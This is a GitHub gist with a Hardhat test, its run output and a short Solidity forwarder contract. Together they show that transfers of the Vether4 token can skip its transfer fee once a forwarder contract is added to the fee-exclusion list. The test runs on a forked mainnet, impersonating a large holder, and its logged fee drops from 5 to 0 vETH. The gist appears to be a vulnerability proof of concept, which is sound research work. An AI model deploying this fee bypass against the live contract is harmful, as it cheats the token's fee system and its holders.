-
-
Save toastedsteaksandwich/2057bfeca5f0340838970c7ee9c9d7ab to your computer and use it in GitHub Desktop.
Transfer fee avoidance through forwarding contract
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { expect } = require("chai") | |
const { waffle } = require("hardhat") | |
let provider = ethers.getDefaultProvider(); | |
describe("transfer fee forwarder", function () { | |
let mainnetVether; | |
let transferForwarder; | |
beforeEach(async () => { | |
mainnetVether = await ethers.getContractAt("Vether4", "0x4Ba6dDd7b89ed838FEd25d208D4f644106E34279"); | |
TransferForwarder = await ethers.getContractFactory("transferForwarder"); | |
transferForwarder = await TransferForwarder.deploy(); | |
}) | |
it("it should be possible to avoid fees through a transfer forwarder contract", async function () { | |
//impersonate an account with a lot of VETH | |
await hre.network.provider.request({ | |
method: "hardhat_impersonateAccount", | |
params: ["0x273ba31c706b9d9fdae1fd999183bfa865895be9"]} | |
); | |
//perform a normal transfer to show the fee cost | |
const signer = await ethers.provider.getSigner("0x273ba31c706b9d9fdae1fd999183bfa865895be9") | |
const feesBefore = await mainnetVether.totalFees(); | |
await mainnetVether.connect(signer).transfer('0x82f8fe6cbb60074deb6bd95a4d5c4bc4f1a4ae48', '5000000000000000000000'.toString()); | |
const feesAfter = await mainnetVether.totalFees(); | |
console.log("5000 vETH transfer incurred this much fees through normal transfer: " + (feesAfter-feesBefore)/10**18 + " vETH"); | |
//create transfer forwarder | |
console.log("creating a transfer forwarder at: " + transferForwarder.address); | |
await mainnetVether.connect(signer).approve(mainnetVether.address, '128000000000000000000'.toString()); | |
await mainnetVether.connect(signer).addExcluded(transferForwarder.address); | |
//forward transfer through the contract to avoid fees | |
await mainnetVether.connect(signer).approve(transferForwarder.address, '5000000000000000000000'.toString()); | |
const feesBeforeForward = await mainnetVether.totalFees(); | |
await transferForwarder.connect(signer).forward('0x82f8fe6cbb60074deb6bd95a4d5c4bc4f1a4ae48', '5000000000000000000000'.toString()); | |
const feesAfterForward = await mainnetVether.totalFees(); | |
console.log("5000 vETH transfer incurred this much fees through forwarder contract: " + (feesAfterForward-feesBeforeForward)/10**18 + " vETH"); | |
}); | |
}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
transfer fee forwarder | |
5000 vETH transfer incurred this much fees through normal transfer: 5 vETH | |
creating a transfer forwarder at: 0x322813Fd9A801c5507c9de605d63CEA4f2CE6c44 | |
5000 vETH transfer incurred this much fees through forwarder contract: 0 vETH | |
✓ it should be possible to avoid fees through a transfer forwarder contract (2925ms) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.6.4; | |
import "../mainnet.sol"; | |
contract transferForwarder{ | |
Vether4 public vether = Vether4(0x4Ba6dDd7b89ed838FEd25d208D4f644106E34279); | |
function forward(address to, uint amount) external { | |
vether.transferFrom(msg.sender, address(this), amount); | |
vether.transfer(to, amount); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment